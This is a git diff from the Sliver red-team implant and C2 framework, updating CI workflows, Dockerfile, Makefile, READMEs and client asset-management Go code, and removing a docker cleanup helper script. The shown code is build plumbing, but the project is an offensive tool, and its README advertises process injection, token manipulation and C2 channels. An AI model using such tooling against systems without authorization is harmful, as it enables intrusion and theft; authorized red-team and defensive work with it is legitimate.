||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Test Linux
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows (amd64)
|
||||
run: make windows-amd64
|
||||
|
||||
- name: Make Linux (arm64)
|
||||
run: make linux-arm64
|
||||
|
||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Determine go-tests flags
|
||||
id: go-tests-flags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base_sha="${{ github.event.pull_request.base.sha }}"
|
||||
head_sha="${{ github.sha }}"
|
||||
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
|
||||
echo "args=" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Test Linux
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||
|
||||
|
||||
macos-build-test:
|
||||
name: MacOS Test
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -73,24 +84,37 @@ jobs:
|
||||
- name: Make MacOS (amd64)
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Test MacOS (amd64)
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
run: make macos-arm64
|
||||
|
||||
- name: Determine go-tests flags
|
||||
id: go-tests-flags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base_sha="${{ github.event.pull_request.base.sha }}"
|
||||
head_sha="${{ github.sha }}"
|
||||
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
|
||||
echo "args=" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Test MacOS
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||
|
||||
clients-build:
|
||||
name: Clients Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.22"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
@@ -2,6 +2,11 @@
|
||||
/.devcontainer
|
||||
/.idea
|
||||
|
||||
/artifacts
|
||||
/artifacts/**
|
||||
|
||||
*.rc
|
||||
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
@@ -45,6 +50,8 @@ sliver-server-windows.zip
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
.gocache/
|
||||
.gomodcache/
|
||||
|
||||
# Flag to show that go-assets.sh has been run
|
||||
.downloaded_assets
|
||||
@@ -0,0 +1,18 @@
|
||||
# Repository Guidelines
|
||||
|
||||
## Build, Test, and Development Commands
|
||||
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
||||
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
||||
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
||||
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
||||
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
||||
|
||||
## Coding Style & Naming Conventions
|
||||
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
||||
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
||||
- Do not import `server` packages from `client`.
|
||||
|
||||
## Testing Guidelines
|
||||
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
||||
- Add or update tests when behavior changes; some server packages run longer tests.
|
||||
|
||||
+9
-5
@@ -5,11 +5,12 @@
|
||||
#
|
||||
# For unit testing:
|
||||
# docker build --target test .
|
||||
# docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .
|
||||
#
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM golang:1.23.5 AS base
|
||||
FROM golang:latest AS base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -20,10 +21,10 @@ RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
|
||||
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
|
||||
### Build sliver:
|
||||
RUN mkdir -p /go/src/github.com/bishopfox/sliver
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all
|
||||
RUN make
|
||||
RUN make
|
||||
RUN cp -vv sliver-server /opt/sliver-server
|
||||
|
||||
# STAGE: test
|
||||
@@ -31,6 +32,9 @@ RUN cp -vv sliver-server /opt/sliver-server
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM base AS test
|
||||
|
||||
ARG GO_TESTS_FLAGS=""
|
||||
ENV GO_TESTS_FLAGS="${GO_TESTS_FLAGS}"
|
||||
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
@@ -39,7 +43,7 @@ RUN apt-get update --fix-missing \
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
### Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh ${GO_TESTS_FLAGS}
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
@@ -91,7 +95,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
FROM debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim AS production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
|
||||
@@ -16,49 +16,32 @@ endif
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
EXECUTABLES = uname sed git date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
# Build Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 21
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 25
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds shouldn't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
@@ -83,7 +66,9 @@ endif
|
||||
# If no target is specified, determine GOARCH
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ifeq ($(MAKECMDGOALS), )
|
||||
ENV += GOARCH=arm64
|
||||
ifeq ($(origin GOARCH), undefined)
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
endif
|
||||
endif
|
||||
|
||||
@@ -91,12 +76,6 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
@@ -105,9 +84,10 @@ endif
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean .downloaded_assets validate-go-version
|
||||
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
default: clean validate-go-version
|
||||
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
|
||||
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
|
||||
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
|
||||
@@ -154,8 +134,9 @@ clients: clean .downloaded_assets validate-go-version
|
||||
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: servers
|
||||
servers:
|
||||
servers: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
@@ -199,5 +180,5 @@ clean:
|
||||
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
|
||||
touch ./.downloaded_assets
|
||||
@@ -6,11 +6,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
|
||||
|
||||
### Features
|
||||
|
||||
@@ -21,7 +17,7 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
|
||||
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
|
||||
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
|
||||
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
- Fully scriptable using [Python](https://github.com/moloch--/sliver-py)
|
||||
- Windows process migration, process injection, user token manipulation, etc.
|
||||
- Let's Encrypt integration
|
||||
- In-memory .NET assembly execution
|
||||
@@ -39,16 +35,12 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions).
|
||||
|
||||
### Compile From Source
|
||||
|
||||
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
@@ -1,135 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
INFO = "\033[1m\033[36m[*]\033[0m "
|
||||
WARN = "\033[1m\033[31m[!]\033[0m "
|
||||
BOLD = "\033[1m"
|
||||
NORM = "\033[0m"
|
||||
|
||||
|
||||
def exec_cmd(cmd, ignore_status=False):
|
||||
"""Executes a command with some sugar"""
|
||||
print("\n" + INFO + " %s\n" % cmd)
|
||||
status = os.system(cmd)
|
||||
if status != 0 and not ignore_status:
|
||||
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
|
||||
if input("continue? [Y/n]: ").upper() != "Y":
|
||||
sys.exit(status)
|
||||
return status
|
||||
|
||||
|
||||
def docker_rm_volumes():
|
||||
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_containers():
|
||||
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_images():
|
||||
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_prune():
|
||||
exec_cmd("docker image prune -f", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_all():
|
||||
docker_rm_containers()
|
||||
docker_rm_images()
|
||||
docker_rm_volumes()
|
||||
|
||||
|
||||
def build():
|
||||
status = exec_cmd("docker build --target test .")
|
||||
if status == 0:
|
||||
print("\n\n" + INFO + "Build successful")
|
||||
|
||||
|
||||
def main(args):
|
||||
"""Execute the respective task(s) based on cli args"""
|
||||
if args.rm_images:
|
||||
docker_rm_images()
|
||||
if args.rm_containers:
|
||||
docker_rm_containers()
|
||||
if args.rm_volumes:
|
||||
docker_rm_volumes()
|
||||
if args.rm_all:
|
||||
docker_rm_all()
|
||||
|
||||
if not args.no_prune:
|
||||
docker_prune()
|
||||
if not args.no_build:
|
||||
build()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="automates interactions with docker")
|
||||
|
||||
parser.add_argument(
|
||||
"--no-build",
|
||||
"-b",
|
||||
help="do not run build",
|
||||
dest="no_build",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-prune",
|
||||
"-np",
|
||||
help="do not prune images",
|
||||
dest="no_prune",
|
||||
action="store_true",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--rm-all",
|
||||
"-rma",
|
||||
help="rm all containers, images, and volumes",
|
||||
dest="rm_all",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-containers",
|
||||
"-rmc",
|
||||
help="rm all containers",
|
||||
dest="rm_containers",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-images",
|
||||
"-rmi",
|
||||
help="rm all images",
|
||||
dest="rm_images",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-volumes",
|
||||
"-rmv",
|
||||
help="rm dangling volumes only",
|
||||
dest="rm_volumes",
|
||||
action="store_true",
|
||||
)
|
||||
try:
|
||||
main(parser.parse_args())
|
||||
except KeyboardInterrupt:
|
||||
print("\n\n" + WARN + "User stopped process")
|
||||
+23
-15
@@ -1,18 +1,26 @@
|
||||
Client
|
||||
=======
|
||||
# client
|
||||
|
||||
This directory contains the client implementation, pretty much all of this code is also used by the server console.
|
||||
## Overview
|
||||
|
||||
__Important:__ No code in this directory can import any code from `server/`.
|
||||
Main command-line client for interacting with and administering Sliver servers. Provides the Cobra entrypoint and aggregates console, command, and transport subsystems.
|
||||
|
||||
* `assets/` - Static asset files and management code (e.g. client configs)
|
||||
* `cli/` - Command line interface implementation
|
||||
* `command/` - Console command implementations
|
||||
* `constants/` - Various shared constant values
|
||||
* `core/` - Client state management
|
||||
* `licenses/` - Open source licenses
|
||||
* `spin/` - Console spinner library
|
||||
* `tcpproxy/` - Local TCP proxy listener code
|
||||
* `transport/` - Wires the client to the server
|
||||
* `version/` - Version information
|
||||
* `main.go` - Entrypoint
|
||||
## Go Files
|
||||
|
||||
- `main.go` – Entry point that initializes the CLI, processes flags, and launches the interactive console.
|
||||
|
||||
## Sub-packages
|
||||
|
||||
- `assets/` – Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata.
|
||||
- `cli/` – Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring.
|
||||
- `command/` – Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions.
|
||||
- `console/` – Renders the interactive console UI, logging, and terminal helpers for the client. Coordinates readline behavior, prompt styling, and message formatting.
|
||||
- `constants/` – Centralizes constants shared across the client runtime and command packages. Captures strings, flag names, and feature toggles used throughout the CLI.
|
||||
- `core/` – Maintains client application state, background workers, and RPC coordination. Orchestrates session tracking, event streams, and health checks.
|
||||
- `credentials/` – Credential management utilities including sniffers and import helpers for operators. Provides parsers, storage helpers, and output formatting for recovered secrets.
|
||||
- `licenses/` – Holds embedded license metadata bundled with the client distribution. Supplies license retrieval utilities used for attribution commands.
|
||||
- `overlord/` – Supervises long-running client jobs, scheduling, and task orchestration. Tracks job lifecycle events and exposes status updates to the console.
|
||||
- `packages/` – Deals with packaged extensions and module discovery for the client. Scans, validates, and caches extension manifests and assets.
|
||||
- `spin/` – Lightweight terminal spinner utilities used for progress feedback. Wraps spinner styles and timing helpers shared across commands.
|
||||
- `tcpproxy/` – Implements the local TCP proxy used for port forwarding from the client side. Manages listener lifecycles, connection pumps, and cleanup hooks.
|
||||
- `transport/` – Client-side transports and RPC wiring to communicate with Sliver servers. Builds authenticated gRPC clients, TLS dialers, and reconnect logic.
|
||||
- `version/` – Build-time version and semantic metadata for the client binary. Exposes git information, release channels, and helper formatters.
|
||||
+14
-2
@@ -1,3 +1,15 @@
|
||||
Assets
|
||||
======
|
||||
# client/assets
|
||||
|
||||
## Overview
|
||||
|
||||
Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata. Core logic addresses aliases, armories, C2 profiles, and extensions within the assets package.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `aliases.go` – Provides helpers for discovering, installing, and reading alias manifests shipped with the client.
|
||||
- `armories.go` – Loads configured armory definitions and persists operator customizations.
|
||||
- `assets.go` – Central entry point that exposes asset directories, lazy initialization, and filesystem utilities.
|
||||
- `c2profiles.go` – Embeds default HTTP C2 profile templates and exposes lookup utilities.
|
||||
- `config.go` – Tracks client configuration paths and manages persistence of runtime options.
|
||||
- `extensions.go` – Handles embedded extension manifests and supports lookup by command name.
|
||||
- `settings.go` – Stores default console settings and manages serialization to disk.
|
||||
+24
-6
@@ -34,12 +34,19 @@ const (
|
||||
SliverClientDirName = ".sliver-client"
|
||||
|
||||
versionFileName = "version"
|
||||
envVarName = "SLIVER_CLIENT_ROOT_DIR"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
value := os.Getenv(envVarName)
|
||||
var dir string
|
||||
if len(value) == 0 {
|
||||
user, _ := user.Current()
|
||||
dir = filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
} else {
|
||||
dir = value
|
||||
}
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -73,6 +80,18 @@ func GetConsoleLogsDir() string {
|
||||
return consoleLogsDir
|
||||
}
|
||||
|
||||
// GetMCPLogsDir - Get the Sliver client MCP logs dir ~/.sliver-client/logs/mcp/
|
||||
func GetMCPLogsDir() string {
|
||||
mcpLogsDir := filepath.Join(GetClientLogsDir(), "mcp")
|
||||
if _, err := os.Stat(mcpLogsDir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(mcpLogsDir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return mcpLogsDir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
@@ -96,7 +115,7 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
Sliver Copyright (C) 2026 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
@@ -104,7 +123,6 @@ under certain conditions; type 'licenses' for details.`)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
_, _ = LoadSettings()
|
||||
_, _ = LoadSpoofMetadataConfig()
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package assets
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func legacyBackupPath(legacyPath string) string {
|
||||
dir := filepath.Dir(legacyPath)
|
||||
base := filepath.Base(legacyPath)
|
||||
name := strings.TrimSuffix(base, filepath.Ext(base))
|
||||
return filepath.Join(dir, "."+name+".json-old")
|
||||
}
|
||||
|
||||
func renameLegacyConfig(legacyPath string) error {
|
||||
if _, err := os.Stat(legacyPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
backupPath := legacyBackupPath(legacyPath)
|
||||
if _, err := os.Stat(backupPath); err == nil {
|
||||
if err := os.Remove(backupPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return os.Rename(legacyPath, backupPath)
|
||||
}
|
||||
+92
-16
@@ -22,39 +22,111 @@ import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const (
|
||||
settingsFileName = "tui-settings.json"
|
||||
settingsFileName = "tui-settings.yaml"
|
||||
settingsLegacyFileName = "tui-settings.json"
|
||||
)
|
||||
|
||||
const (
|
||||
// Accepted values for tui-settings.yaml "prompt:":
|
||||
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
|
||||
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
|
||||
// - basic: show "sliver >" (no prefix)
|
||||
// - custom: render full prompt from prompt_template
|
||||
PromptStyleHost = "host"
|
||||
PromptStyleOperatorHost = "operator-host"
|
||||
PromptStyleBasic = "basic"
|
||||
PromptStyleCustom = "custom"
|
||||
)
|
||||
|
||||
// ClientSettings - Client JSON config
|
||||
type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
